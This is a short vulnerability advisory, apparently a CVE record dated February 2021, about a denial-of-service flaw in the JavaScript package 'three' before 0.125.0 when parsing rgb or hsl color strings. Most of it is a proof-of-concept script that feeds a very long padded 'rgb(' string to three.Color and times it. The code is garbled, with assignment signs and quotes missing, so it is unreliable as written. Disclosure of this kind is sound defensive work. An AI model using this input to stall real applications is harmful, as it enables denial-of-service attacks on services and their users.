This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three require('three') function build_blank (n) { var ret "rgb(" for (var i 0; i < n; i++) { ret + " " } return ret + ""; } var Color three.Color var time Date.now(); new Color(build_blank(50000)) var time_cost Date.now() - time; console.log(time_cost+" ms")
Publication date: Thu, 18 Feb 2021 21:15:00 +0000